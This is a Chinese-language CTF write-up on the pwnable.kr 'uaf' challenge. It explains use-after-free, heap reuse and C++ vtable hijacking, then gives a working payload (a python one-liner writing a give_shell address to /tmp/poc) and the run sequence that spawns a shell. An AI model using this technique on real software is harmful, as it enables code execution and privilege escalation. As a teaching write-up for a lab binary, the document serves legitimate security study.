看题目就知道这是一道让我们熟悉uaf漏洞的题,由于我本人也是第一次接触uaf的概念,所以第一次会把概念了解详细一点,还是先从题目入手
为了方便学习我们先看源码
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;class Human{
private:virtual void give_shell(){system("/bin/sh");}
protected:int age;string name;
public:virtual void introduce(){cout << "My name is " << name << endl;cout << "I am " << age << " years old" << endl;}
};class Man: public Human{
public:Man(string name, int age){this->name = name;this->age = age;}virtual void introduce(){Human::introduce();cout << "I am a nice guy!" << endl;}
};class Woman: public Human{
public:Woman(string name, int age){this->name = name;this->age = age;}virtual void introduce(){Human::introduce();cout << "I am a cute girl!" << endl;}
};int main(int argc, char* argv[]){Human* m = new Man("Jack", 25);Human* w = new Woman("Jill", 21);size_t len;char* data;unsigned int op;while(1){cout << "1. use\n2. after\n3. free\n";cin >> op;switch(op){case 1:m->introduce();w->introduce();break;case 2:len = atoi(argv[1]);data = new char[len];read(open(argv[2], O_RDONLY), data, len);cout << "your data is allocated" << endl;break;case 3:delete m;delete w;break;default:break;}}return 0;
}
首先第一个问题什么是uaf?
#include <stdio.h>
#include <stdlib.h>
void main(void){int* p1;int* p2;p1 = (int*)malloc(sizeof(int));*p1 = 100;printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);free(p1);//释放内存*p1 = 100;printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);//接着申请同样大小的内存空间p2 = (int*)malloc(sizeof(int));*p2 = 50;printf("p2: \t address:%X \t value=%d\n", (int)p2, *p2);printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);free(p2);
}
这个程序就很好的说明了问题,运行结果
p1: address:7115260 value=100
p1: address:7115260 value=100
p2: address:7115260 value=50
p1: address:7115260 value=50
这个结果就引出了两个问题
1.p1释放后为什么还能使用?
2.p2再申请内存的地址和p1是一样的?
这两个问题其实是有关联的
1.首先p1释放后只是释放了p1指向的内存,并没有释放p1指针本身,也没有将指针设置为NULL,所以p1还是指向被释放的地址,也就造成了我们常说的悬空指针(Dangling pointer),但是为什么p1还能再使用而不崩溃触发访问异常(0xC0000005)呢?这就跟第二个问题有关联。
2.系统的内存管理机制,当然一个系统的内存管理非常庞大且复杂,我们只需要知道大部分系统的内存管理都是追求高效的内存分配器,所以在某些情况下内存被free后不会马上释放回内核,而是保留给应用程序重新申请。这使得被我们free掉的任意内存,在紧接着下一次分配的过程中,有很大肯能被重新分配使用。也就是p1为什么被释放掉后还能被使用,以及p2申请的地址和p1被释放掉的地址是一样的。(有兴趣的可以去查询:dllmalloc、ptmalloc、<深入解析windows系统>)
但这只是简单的说明了uaf的基本原理,但是我们在真正的利用中是怎么去利用的呢?http://huntcve.github.io/2015/06/14/uaf/
这篇帖子很好的介绍了uaf的实战要点,但目前我们还是回归到题目上,所以我对这道题利用做出了简单的三点总结:
(1)构造一个悬空指针
(2)构造恶意的数据将这段内存空间布局好
(3)再次利用悬空指针,劫持函数流
1.首先怎么在题目里构造一个悬空指针呢?
while(1){cout << "1. use\n2. after\n3. free\n";cin >> op;switch(op){case 1:...break;case 2:...case 3:delete m;delete w;break;default:break;}}
通过分析 源码我们可以看到,只要我们输入:3就可以delete
掉m
和w
这两个对象,而释放掉这两个对象后程序并没有把指针设置为null,所以我们就获得了两个悬空指针,这样我们的第一步就完成了。
2.构造恶意数据将这段内存布局好.
while(1){cout << "1. use\n2. after\n3. free\n";cin >> op;switch(op){case 1:...case 2:len = atoi(argv[1]);data = new char[len];read(open(argv[2], O_RDONLY), data, len);cout << "your data is allocated" << endl;break;case 3:...default:break;}}
通过源码分析我们可以得知,在case 2:
里会根据argv[1]
转换一个长度,然后申请一个内存,同时读取上面转换长度所得大小的argv[2]
所指示的文件数据到申请的内存中。
做到第二步首先我们要:
(1)获取原来被释放放的内存
(2)构造恶意数据,题目的目的就是get flag,但是我们直接cat是没有权限的
我们看一下uaf的权限
以及Human类中的give_shell函数
virtual void give_shell(){system("/bin/sh");}
大概意思也就是如果我们能调用give_shell
我们就相当于获得了提权,也就能使用 cat flag 命令了,所以我们构造的恶意数据就是要调用give_shell
这个函数。
怎么做到这两步呢
首先我们要获取被释放的内存,就要申请相同大小的内存,这样获取刚被释放的内存概率会更大一点
那我们要申请多大内存呢,我们可以计算一下,或者IDA直接看一下。这里下载pwnable.kr上的文件,由于我非常不熟悉linux上的sh命令,所以我使用了一个叫:winscp的工具,界面如下
对于我这种不熟悉的人来说还是非常方便的,大家也可以用自己熟悉的方法,我这里只是做一个记录
下载完成后拖到IDA里查看,这里我们可以看到申请的是0x18大小的内存
所以我们在输入argv[1]
时也应该输入0x18的大小,这样第一个问题就解决了
下一步也就是在我们的内存里构造一个恶意数据
通过源码我们可以看到
while(1){cout << "1. use\n2. after\n3. free\n";cin >> op;switch(op){case 1:m->introduce();w->introduce();break;case 2:...case 3:...default:break;}}
在case 1
里有调用这块被释放内存的函数指针m->introduce();
和w->introduce();
但这两个的函数位置在这块内存的哪里呢?这就涉及到了C++类的继承和虚表知识,不太熟悉的同学建议去看<C++反汇编与逆向分析技术揭秘>,但是通过IDA我们也直接能看出这两个虚函数的位置
可以看到其实也就是类起始内存地址+0x8的位置,所以只要把这个地址覆盖成give_shell
函数的地址即可,那么give_shell
的函数地址在哪呢?
我们在IDA里还是很容易看出来这个Man类的私有函数give_shell
在0x0000000000401570这个位置,我们查看这个程序的保护(命令checksec
)是并没有开启PIE(ASLR)的,所以我们把这个固定地址填进去是没有问题的
前两部我们都做好了,现在就差最后一步利用悬空指针劫持函数流,这里看源码可得知,我们只要输入1
就可以调用悬空指针了。
所以我们下面把我们上面分析的三步结合起来一起做
首先我们在temp目录下写入一个文件,文件内容是我们构造的恶意内容
give_shell 地址减去0x8
python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc
之后把我们的构造的参数输入进去./uaf 24 /tmp/poc
然后就是uaf的调用顺序3->2->2->1
这里解释一下为什么调用两次2
首先释放掉堆,然后写入内容为give_shell-8
的地址2次,依次给的是woman
、man
,不然在1
选项中,先执行的是m->introduce
,如果只给woman
写的话,那么程序会直接崩溃。这里有点像堆喷的意思了。
成功:)